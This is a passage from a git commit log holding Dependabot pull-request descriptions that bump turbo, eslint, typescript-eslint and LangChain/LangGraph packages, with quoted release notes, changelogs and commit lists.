<li><code>@​langchain/langgraph-api</code><a href="https://github.com/1"><code>@​1</code></a>.1.14</li> </ul> </li> </ul> <h2><code>@​langchain/langgraph-ui</code><a href="https://github.com/1"><code>@​1</code></a>.1.14</h2> <p>No release notes provided.</p> <h2><code>@​langchain/langgraph-api</code><a href="https://github.com/1"><code>@​1</code></a>.1.13</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/1960">#1960</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/4ebe31ec6ea289f2eeff324fb1875af869d543c9"><code>4ebe31e</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - relax langsmith dep</p> </li> <li> <p>Updated dependencies []:</p> <ul> <li><code>@​langchain/langgraph-ui</code><a href="https://github.com/1"><code>@​1</code></a>.1.13</li> </ul> </li> </ul> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langgraphjs/blob/main/libs/langgraph-core/CHANGELOG.md"><code>@​langchain/langgraph</code>'s changelog</a>.</em></p> <blockquote> <h2>1.2.0</h2> <h3>Minor Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/2002">#2002</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/fce9d38267e7d99029646cfcf7abb78c7b937e34"><code>fce9d38</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - feat(langgraph): add Overwrite class for bypassing channel reducers</p> <p>Adds an <code>Overwrite</code> class and <code>OverwriteValue</code> type that allow nodes to bypass reducers in <code>BinaryOperatorAggregate</code> channels, writing values directly instead of passing them through the reducer function. This is useful when a node needs to replace accumulated state rather than append to it.</p> <ul> <li>New <code>Overwrite</code> class exported from <code>@langchain/langgraph</code></li> <li><code>BinaryOperatorAggregate</code> channel detects <code>OverwriteValue</code> and sets the value directly</li> <li><code>Annotation</code>, <code>StateSchema</code>, and zod schema type mappings updated to include <code>OverwriteValue</code> in update types</li> </ul> </li> </ul> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/1992">#1992</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/937f78030f1360251361c6096bbd0ff287662a2b"><code>937f780</code></a> Thanks <a href="https://github.com/christian-bromann"><code>@​christian-bromann</code></a>! - fix(core): don't trace channel read/writes</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/1984">#1984</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/aa8e878e5b71128685ab7e7a79c96bd2519c0123"><code>aa8e878</code></a> Thanks <a href="https://github.com/colifran"><code>@​colifran</code></a>! - feat: add tools stream mode for tool lifecycle events</p> </li> <li> <p>Updated dependencies [<a href="https://github.com/langchain-ai/langgraphjs/commit/aa8e878e5b71128685ab7e7a79c96bd2519c0123"><code>aa8e878</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/1b088e578aaef7d231f37885b94bfd763f99a775"><code>1b088e5</code></a>]:</p> <ul> <li><code>@​langchain/langgraph-sdk</code><a href="https://github.com/1"><code>@​1</code></a>.6.5</li> </ul> </li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/langchain-ai/langgraphjs/commit/6b576f08b6ec071eefeb6c8cd60e35886eb97399"><code>6b576f0</code></a> chore: version packages (<a href="https://github.com/langchain-ai/langgraphjs/tree/HEAD/libs/langgraph-core/issues/1995">#1995</a>)</li> <li><a href="https://github.com/langchain-ai/langgraphjs/commit/fce9d38267e7d99029646cfcf7abb78c7b937e34"><code>fce9d38</code></a> feat(langgraph): add Overwrite class for bypassing channel reducers (<a href="https://github.com/langchain-ai/langgraphjs/tree/HEAD/libs/langgraph-core/issues/2002">#2002</a>)</li> <li><a href="https://github.com/langchain-ai/langgraphjs/commit/aa8e878e5b71128685ab7e7a79c96bd2519c0123"><code>aa8e878</code></a> feat: add tools stream mode for tool lifecycle events (<a href="https://github.com/langchain-ai/langgraphjs/tree/HEAD/libs/langgraph-core/issues/1984">#1984</a>)</li> <li><a href="https://github.com/langchain-ai/langgraphjs/commit/937f78030f1360251361c6096bbd0ff287662a2b"><code>937f780</code></a> fix(core): don't trace channel read/writes (<a href="https://github.com/langchain-ai/langgraphjs/tree/HEAD/libs/langgraph-core/issues/1992">#1992</a>)</li> <li>See full diff in <a href="https://github.com/langchain-ai/langgraphjs/commits/@langchain/langgraph@1.2.0/libs/langgraph-core">compare view</a></li> </ul> </details> <br /> Updates `@eslint/eslintrc` from 3.3.3 to 3.3.4 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/eslint/eslintrc/releases"><code>@​eslint/eslintrc</code>'s releases</a>.</em></p> <blockquote> <h2>eslintrc: v3.3.4</h2> <h2><a href="https://github.com/eslint/eslintrc/compare/eslintrc-v3.3.3...eslintrc-v3.3.4">3.3.4</a> (2026-02-22)</h2> <h3>Bug Fixes</h3> <ul> <li>update <code>ajv</code> to <code>6.14.0</code> to address security vulnerabilities (<a href="https://redirect.github.com/eslint/eslintrc/issues/221">#221</a>) (<a href="https://github.com/eslint/eslintrc/commit/9139140aece172fa4c11a466c493609be31cfa54">9139140</a>)</li> <li>update <code>minimatch</code> to <code>3.1.3</code> to address security vulnerabilities (<a href="https://redirect.github.com/eslint/eslintrc/issues/224">#224</a>) (<a href="https://github.com/eslint/eslintrc/commit/30339d036361c13362d5a38191bb2388ad56bb6f">30339d0</a>)</li> </ul> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/eslint/eslintrc/blob/main/CHANGELOG.md"><code>@​eslint/eslintrc</code>'s changelog</a>.</em></p> <blockquote> <h2><a href="https://github.com/eslint/eslintrc/compare/eslintrc-v3.3.3...eslintrc-v3.3.4">3.3.4</a> (2026-02-22)</h2> <h3>Bug Fixes</h3> <ul> <li>update <code>ajv</code> to <code>6.14.0</code> to address security vulnerabilities (<a href="https://redirect.github.com/eslint/eslintrc/issues/221">#221</a>) (<a href="https://github.com/eslint/eslintrc/commit/9139140aece172fa4c11a466c493609be31cfa54">9139140</a>)</li> <li>update <code>minimatch</code> to <code>3.1.3</code> to address security vulnerabilities (<a href="https://redirect.github.com/eslint/eslintrc/issues/224">#224</a>) (<a href="https://github.com/eslint/eslintrc/commit/30339d036361c13362d5a38191bb2388ad56bb6f">30339d0</a>)</li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/eslint/eslintrc/commit/4c45e24751db5eb5da5507e2d9daee7d14d53b55"><code>4c45e24</code></a> chore: release 3.3.4 🚀 (<a href="https://redirect.github.com/eslint/eslintrc/issues/223">#223</a>)</li> <li><a href="https://github.com/eslint/eslintrc/commit/30339d036361c13362d5a38191bb2388ad56bb6f"><code>30339d0</code></a> fix: update <code>minimatch</code> to <code>3.1.3</code> to address security vulnerabilities (<a href="https://redirect.github.com/eslint/eslintrc/issues/224">#224</a>)</li> <li><a href="https://github.com/eslint/eslintrc/commit/9139140aece172fa4c11a466c493609be31cfa54"><code>9139140</code></a> fix: update <code>ajv</code> to <code>6.14.0</code> to address security vulnerabilities (<a href="https://redirect.github.com/eslint/eslintrc/issues/221">#221</a>)</li> <li><a href="https://github.com/eslint/eslintrc/commit/245ada592eef13bb457f30ecd8b5cb9cfb4da0a9"><code>245ada5</code></a> docs: Update README sponsors</li> <li><a href="https://github.com/eslint/eslintrc/commit/78b1a0ecec3f88d780b31418da61f57232cf83dc"><code>78b1a0e</code></a> docs: Update README sponsors</li> <li><a href="https://github.com/eslint/eslintrc/commit/df32fff115e0666077787def434a200f2aa5f8f7"><code>df32fff</code></a> docs: Update README sponsors</li> <li><a href="https://github.com/eslint/eslintrc/commit/a62f7f5fed3d9c8ab3254902f5cc9740a33bc764"><code>a62f7f5</code></a> docs: Update README sponsors</li> <li><a href="https://github.com/eslint/eslintrc/commit/84a32c5071073b00bc091fff186e7d4ab9b343e6"><code>84a32c5</code></a> docs: Update README sponsors</li> <li><a href="https://github.com/eslint/eslintrc/commit/7ab5635975c9614c9defb2a36f92a8308fa8fedd"><code>7ab5635</code></a> docs: Update README sponsors</li> <li><a href="https://github.com/eslint/eslintrc/commit/5e8a1531f79b07f4bb2661429b1bee65414ece61"><code>5e8a153</code></a> docs: Update README sponsors</li> <li>Additional commits viewable in <a href="https://github.com/eslint/eslintrc/compare/eslintrc-v3.3.3...eslintrc-v3.3.4">compare view</a></li> </ul> </details> <br /> Updates `@typescript-eslint/eslint-plugin` from 8.56.0 to 8.56.1 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/releases"><code>@​typescript-eslint/eslint-plugin</code>'s releases</a>.</em></p> <blockquote> <h2>v8.56.1</h2> <h2>8.56.1 (2026-02-23)</h2> <h2>What's Changed</h2> <ul> <li>chore(deps): update dependency minimatch to v10.2.2 by <a href="https://github.com/benmccann"><code>@​benmccann</code></a> in <a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12074">typescript-eslint/typescript-eslint#12074</a></li> </ul> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/eslint-plugin/CHANGELOG.md"><code>@​typescript-eslint/eslint-plugin</code>'s changelog</a>.</em></p> <blockquote> <h2>8.56.1 (2026-02-23)</h2> <p>This was a version bump only for eslint-plugin to align it with other projects, there were no code changes.</p> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.56.1">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/96a04a97454cf6b6ae8366711c09333bf6e2327a"><code>96a04a9</code></a> chore(release): publish 8.56.1</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/958f390c8c5b136e6f095f9230ba301fc1db00e9"><code>958f390</code></a> chore(eslint-plugin): add default excludes to vitest (<a href="https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12067">#12067</a>)</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/ffb46eaa41a7c8a831dc09f0ed726dd4cc06ea4f"><code>ffb46ea</code></a> docs(eslint-plugin): [method-signature-style] clarify autofix impact on type ...</li> <li>See full diff in <a href="https://github.com/typescript-eslint/typescript-eslint/commits/v8.56.1/packages/eslint-plugin">compare view</a></li> </ul> </details> <br /> Updates `@typescript-eslint/parser` from 8.56.0 to 8.56.1 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/releases"><code>@​typescript-eslint/parser</code>'s releases</a>.</em></p> <blockquote> <h2>v8.56.1</h2> <h2>8.56.1 (2026-02-23)</h2> <h2>What's Changed</h2> <ul> <li>chore(deps): update dependency minimatch to v10.2.2 by <a href="https://github.com/benmccann"><code>@​benmccann</code></a> in <a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12074">typescript-eslint/typescript-eslint#12074</a></li> </ul> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/parser/CHANGELOG.md"><code>@​typescript-eslint/parser</code>'s changelog</a>.</em></p> <blockquote> <h2>8.56.1 (2026-02-23)</h2> <p>This was a version bump only for parser to align it with other projects, there were no code changes.</p> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.56.1">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/96a04a97454cf6b6ae8366711c09333bf6e2327a"><code>96a04a9</code></a> chore(release): publish 8.56.1</li> <li>See full diff in <a href="https://github.com/typescript-eslint/typescript-eslint/commits/v8.56.1/packages/parser">compare view</a></li> </ul> </details> <br /> Updates `eslint` from 10.0.1 to 10.0.2 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/eslint/eslint/releases">eslint's releases</a>.</em></p> <blockquote> <h2>v10.0.2</h2> <h2>Bug Fixes</h2> <ul> <li><a href="https://github.com/eslint/eslint/commit/2b723616a4daeacd4605f11b4d087d4a7cae5c74"><code>2b72361</code></a> fix: update <code>ajv</code> to <code>6.14.0</code> to address security vulnerabilities (<a href="https://redirect.github.com/eslint/eslint/issues/20537">#20537</a>) (루밀LuMir)</li> </ul> <h2>Documentation</h2> <ul> <li><a href="https://github.com/eslint/eslint/commit/13eeedbbd16218b0da1425b78cb284937fd964ca"><code>13eeedb</code></a> docs: link rule type explanation to CLI option --fix-type (<a href="https://redirect.github.com/eslint/eslint/issues/20548">#20548</a>) (Mike McCready)</li> <li><a href="https://github.com/eslint/eslint/commit/98cbf6ba53a1fb2028d25078c7049a538d0e392c"><code>98cbf6b</code></a> docs: update migration guide per Program range change (<a href="https://redirect.github.com/eslint/eslint/issues/20534">#20534</a>) (Huáng Jùnliàng)</li> <li><a href="https://github.com/eslint/eslint/commit/61a24054411fa56ce74bef554846caa9d8cb01f5"><code>61a2405</code></a> docs: add missing semicolon in vars-on-top rule example (<a href="https://redirect.github.com/eslint/eslint/issues/20533">#20533</a>) (Abilash)</li> </ul> <h2>Chores</h2> <ul> <li><a href="https://github.com/eslint/eslint/commit/951223b29669885643f7854d7c824288ba962d7e"><code>951223b</code></a> chore: update dependency <code>@​eslint/eslintrc</code> to ^3.3.4 (<a href="https://redirect.github.com/eslint/eslint/issues/20553">#20553</a>) (renovate[bot])</li> <li><a href="https://github.com/eslint/eslint/commit/6aa1afe6694f3fd7f82116109a5ef2ad18ece074"><code>6aa1afe</code></a> chore: update dependency eslint-plugin-jsdoc to ^62.7.0 (<a href="https://redirect.github.com/eslint/eslint/issues/20536">#20536</a>) (Milos Djermanovic)</li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/eslint/eslint/commit/55122d6f971119607c85b0df8e62942171c939f7"><code>55122d6</code></a> 10.0.2</li> <li><a href="https://github.com/eslint/eslint/commit/80f1e29ec87c07a1cef789c718d6167da59f35f6"><code>80f1e29</code></a> Build: changelog update for 10.0.2</li> <li><a href="https://github.com/eslint/eslint/commit/951223b29669885643f7854d7c824288ba962d7e"><code>951223b</code></a> chore: update dependency <code>@​eslint/eslintrc</code> to ^3.3.4 (<a href="https://redirect.github.com/eslint/eslint/issues/20553">#20553</a>)</li> <li><a href="https://github.com/eslint/eslint/commit/13eeedbbd16218b0da1425b78cb284937fd964ca"><code>13eeedb</code></a> docs: link rule type explanation to CLI option --fix-type (<a href="https://redirect.github.com/eslint/eslint/issues/20548">#20548</a>)</li> <li><a href="https://github.com/eslint/eslint/commit/6aa1afe6694f3fd7f82116109a5ef2ad18ece074"><code>6aa1afe</code></a> chore: update dependency eslint-plugin-jsdoc to ^62.7.0 (<a href="https://redirect.github.com/eslint/eslint/issues/20536">#20536</a>)</li> <li><a href="https://github.com/eslint/eslint/commit/2b723616a4daeacd4605f11b4d087d4a7cae5c74"><code>2b72361</code></a> fix: update <code>ajv</code> to <code>6.14.0</code> to address security vulnerabilities (<a href="https://redirect.github.com/eslint/eslint/issues/20537">#20537</a>)</li> <li><a href="https://github.com/eslint/eslint/commit/98cbf6ba53a1fb2028d25078c7049a538d0e392c"><code>98cbf6b</code></a> docs: update migration guide per Program range change (<a href="https://redirect.github.com/eslint/eslint/issues/20534">#20534</a>)</li> <li><a href="https://github.com/eslint/eslint/commit/61a24054411fa56ce74bef554846caa9d8cb01f5"><code>61a2405</code></a> docs: add missing semicolon in vars-on-top rule example (<a href="https://redirect.github.com/eslint/eslint/issues/20533">#20533</a>)</li> <li>See full diff in <a href="https://github.com/eslint/eslint/compare/v10.0.1...v10.0.2">compare view</a></li> </ul> </details> <br /> Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- <details> <summary>Dependabot commands and options</summary> <br /> You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore <dependency name> major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself) - `@dependabot ignore <dependency name> minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself) - `@dependabot ignore <dependency name>` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself) - `@dependabot unignore <dependency name>` will remove all of the ignore conditions of the specified dependency - `@dependabot unignore <dependency name> <ignore condition>` will remove the ignore condition of the specified dependency and ignore conditions </details> Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>	2026-03-09 16:00:17 -07:00
3 people	95cc381d21	chore(deps): bump the all-dependencies group in /libs/cli/js-monorepo-example with 7 updates (#6991) ... Bumps the all-dependencies group in /libs/cli/js-monorepo-example with 7 updates: | Package | From | To | | --- | --- | --- | | [turbo](https://github.com/vercel/turborepo) | `2.8.10` | `2.8.12` | | [@eslint/eslintrc](https://github.com/eslint/eslintrc) | `3.3.3` | `3.3.4` | | [eslint](https://github.com/eslint/eslint) | `10.0.1` | `10.0.2` | | [@typescript-eslint/eslint-plugin](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin) | `8.56.0` | `8.56.1` | | [@typescript-eslint/parser](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser) | `8.56.0` | `8.56.1` | | [@langchain/core](https://github.com/langchain-ai/langchainjs) | `1.1.27` | `1.1.29` | | [@langchain/langgraph](https://github.com/langchain-ai/langgraphjs/tree/HEAD/libs/langgraph-core) | `1.1.5` | `1.2.0` | Updates `turbo` from 2.8.10 to 2.8.12 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/vercel/turborepo/releases">turbo's releases</a>.</em></p> <blockquote> <h2>Turborepo v2.8.12</h2> <!-- raw HTML omitted --> <h2>What's Changed</h2> <h3>Changelog</h3> <ul> <li>chore: Reduce compile times by deduplicating thiserror and itertools by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12000">vercel/turborepo#12000</a></li> <li>chore: Upgrade axum 0.7 to 0.8, deduplicate tower/tower-http by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12003">vercel/turborepo#12003</a></li> <li>fix: Prevent peerDependencies from overwriting concrete dependency specifiers by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12004">vercel/turborepo#12004</a></li> <li>fix: Resolve correct nested package version in bun lockfile pruning by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12008">vercel/turborepo#12008</a></li> <li>fix: Resolve all lockfile pruning test failures by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12009">vercel/turborepo#12009</a></li> <li>perf: Extract query module into turborepo-query crate by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12007">vercel/turborepo#12007</a></li> <li>refactor: Migrate dry-json prysk tests to Rust + insta snapshots by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12010">vercel/turborepo#12010</a></li> <li>perf: Deduplicate petgraph, fixedbitset, and dashmap by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12011">vercel/turborepo#12011</a></li> <li>refactor: Migrate persistent-dependencies and task-dependencies to Rust + insta by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12012">vercel/turborepo#12012</a></li> <li>test: Add lockfile-tests fixture for issue <a href="https://redirect.github.com/vercel/turborepo/issues/12013">#12013</a> by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12014">vercel/turborepo#12014</a></li> <li>perf: Remove libgit2/git2 dependency, replace with gix-object by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12015">vercel/turborepo#12015</a></li> <li>refactor: Migrate daemon, jsonc, query, edit-turbo-json tests to Rust by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12016">vercel/turborepo#12016</a></li> <li>perf: Remove async-graphql from turborepo-lib by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12017">vercel/turborepo#12017</a></li> <li>refactor: Migrate inference and run-logging tests to Rust by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12018">vercel/turborepo#12018</a></li> <li>refactor: Migrate run-caching and strict-env-vars tests to Rust by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12020">vercel/turborepo#12020</a></li> <li>fix: Mark lockfile-aware-caching/bun prysk test as flaky by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12021">vercel/turborepo#12021</a></li> <li>fix: Add nextest retries for flaky tests by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12027">vercel/turborepo#12027</a></li> <li>refactor: Migrate prune and run-summary tests to Rust by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12022">vercel/turborepo#12022</a></li> <li>fix: Add nextest retries for flaky prysk tests by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12030">vercel/turborepo#12030</a></li> <li>fix: Add nextest retries for flaky prune_test::test_prune_composable_config by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12032">vercel/turborepo#12032</a></li> <li>fix: Suppress npm upgrade notices in Rust integration tests by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12033">vercel/turborepo#12033</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/vercel/turborepo/compare/v2.8.11...v2.8.12">https://github.com/vercel/turborepo/compare/v2.8.11...v2.8.12</a></p> <h2>Turborepo v2.8.12-canary.3</h2> <!-- raw HTML omitted --> <h2>What's Changed</h2> <h3>Changelog</h3> <ul> <li>fix: Add nextest retries for flaky prune_test::test_prune_composable_config by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12032">vercel/turborepo#12032</a></li> <li>fix: Suppress npm upgrade notices in Rust integration tests by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12033">vercel/turborepo#12033</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/vercel/turborepo/compare/v2.8.11-canary.28...v2.8.12-canary.3">https://github.com/vercel/turborepo/compare/v2.8.11-canary.28...v2.8.12-canary.3</a></p> <h2>Turborepo v2.8.12-canary.2</h2> <!-- raw HTML omitted --> <h2>What's Changed</h2> <h3>Changelog</h3> <ul> <li>chore: Upgrade axum 0.7 to 0.8, deduplicate tower/tower-http by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12003">vercel/turborepo#12003</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/vercel/turborepo/compare/v2.8.12-canary.1...v2.8.12-canary.2">https://github.com/vercel/turborepo/compare/v2.8.12-canary.1...v2.8.12-canary.2</a></p> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/vercel/turborepo/commit/50a9e4ba105ae9fb928080e29c9106fd2e2a93cd"><code>50a9e4b</code></a> publish 2.8.12 to registry</li> <li><a href="https://github.com/vercel/turborepo/commit/2bc9f04ba80b980d1011dae602f7a696c5e41b22"><code>2bc9f04</code></a> release(turborepo): 2.8.12-canary.3 (<a href="https://redirect.github.com/vercel/turborepo/issues/12035">#12035</a>)</li> <li><a href="https://github.com/vercel/turborepo/commit/829b351709ad0482522e97002ba6254651aeaddc"><code>829b351</code></a> ci: Disable flaky Rust unit tests from release pipeline (<a href="https://redirect.github.com/vercel/turborepo/issues/12034">#12034</a>)</li> <li><a href="https://github.com/vercel/turborepo/commit/f698b04e8600abec7af08a588a26a44d04a26a87"><code>f698b04</code></a> fix: Suppress npm upgrade notices in Rust integration tests (<a href="https://redirect.github.com/vercel/turborepo/issues/12033">#12033</a>)</li> <li><a href="https://github.com/vercel/turborepo/commit/b47e099251cbc22926cd70ccfabea34c1eece5f2"><code>b47e099</code></a> fix: Add nextest retries for flaky prune_test::test_prune_composable_config (...</li> <li><a href="https://github.com/vercel/turborepo/commit/9479a54c79b60c7be991ebcad976e0dbb36118e5"><code>9479a54</code></a> ci: Use larger runners for macOS Rust tests (<a href="https://redirect.github.com/vercel/turborepo/issues/12029">#12029</a>)</li> <li><a href="https://github.com/vercel/turborepo/commit/9b66431e8e0a17d20e677098ca721d3ba19dad81"><code>9b66431</code></a> fix: Add nextest retries for flaky prysk tests (<a href="https://redirect.github.com/vercel/turborepo/issues/12030">#12030</a>)</li> <li><a href="https://github.com/vercel/turborepo/commit/0c1bd4756c05188d5acf5e49667f49f3aad73652"><code>0c1bd47</code></a> ci: Increase Rust test partitions from 4 to 10 (<a href="https://redirect.github.com/vercel/turborepo/issues/12028">#12028</a>)</li> <li><a href="https://github.com/vercel/turborepo/commit/329bdb5e76aec9c168f53f4942397b781396b8a6"><code>329bdb5</code></a> refactor: Migrate prune and run-summary tests to Rust (<a href="https://redirect.github.com/vercel/turborepo/issues/12022">#12022</a>)</li> <li><a href="https://github.com/vercel/turborepo/commit/9d9027090d66f412ca599cce5eedc1333cdc462f"><code>9d90270</code></a> fix: Add nextest retries for flaky tests (<a href="https://redirect.github.com/vercel/turborepo/issues/12027">#12027</a>)</li> <li>Additional commits viewable in <a href="https://github.com/vercel/turborepo/compare/v2.8.10...v2.8.12">compare view</a></li> </ul> </details> <br /> Updates `@eslint/eslintrc` from 3.3.3 to 3.3.4 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/eslint/eslintrc/releases"><code>@​eslint/eslintrc</code>'s releases</a>.</em></p> <blockquote> <h2>eslintrc: v3.3.4</h2> <h2><a href="https://github.com/eslint/eslintrc/compare/eslintrc-v3.3.3...eslintrc-v3.3.4">3.3.4</a> (2026-02-22)</h2> <h3>Bug Fixes</h3> <ul> <li>update <code>ajv</code> to <code>6.14.0</code> to address security vulnerabilities (<a href="https://redirect.github.com/eslint/eslintrc/issues/221">#221</a>) (<a href="https://github.com/eslint/eslintrc/commit/9139140aece172fa4c11a466c493609be31cfa54">9139140</a>)</li> <li>update <code>minimatch</code> to <code>3.1.3</code> to address security vulnerabilities (<a href="https://redirect.github.com/eslint/eslintrc/issues/224">#224</a>) (<a href="https://github.com/eslint/eslintrc/commit/30339d036361c13362d5a38191bb2388ad56bb6f">30339d0</a>)</li> </ul> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/eslint/eslintrc/blob/main/CHANGELOG.md"><code>@​eslint/eslintrc</code>'s changelog</a>.</em></p> <blockquote> <h2><a href="https://github.com/eslint/eslintrc/compare/eslintrc-v3.3.3...eslintrc-v3.3.4">3.3.4</a> (2026-02-22)</h2> <h3>Bug Fixes</h3> <ul> <li>update <code>ajv</code> to <code>6.14.0</code> to address security vulnerabilities (<a href="https://redirect.github.com/eslint/eslintrc/issues/221">#221</a>) (<a href="https://github.com/eslint/eslintrc/commit/9139140aece172fa4c11a466c493609be31cfa54">9139140</a>)</li> <li>update <code>minimatch</code> to <code>3.1.3</code> to address security vulnerabilities (<a href="https://redirect.github.com/eslint/eslintrc/issues/224">#224</a>) (<a href="https://github.com/eslint/eslintrc/commit/30339d036361c13362d5a38191bb2388ad56bb6f">30339d0</a>)</li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/eslint/eslintrc/commit/4c45e24751db5eb5da5507e2d9daee7d14d53b55"><code>4c45e24</code></a> chore: release 3.3.4 🚀 (<a href="https://redirect.github.com/eslint/eslintrc/issues/223">#223</a>)</li> <li><a 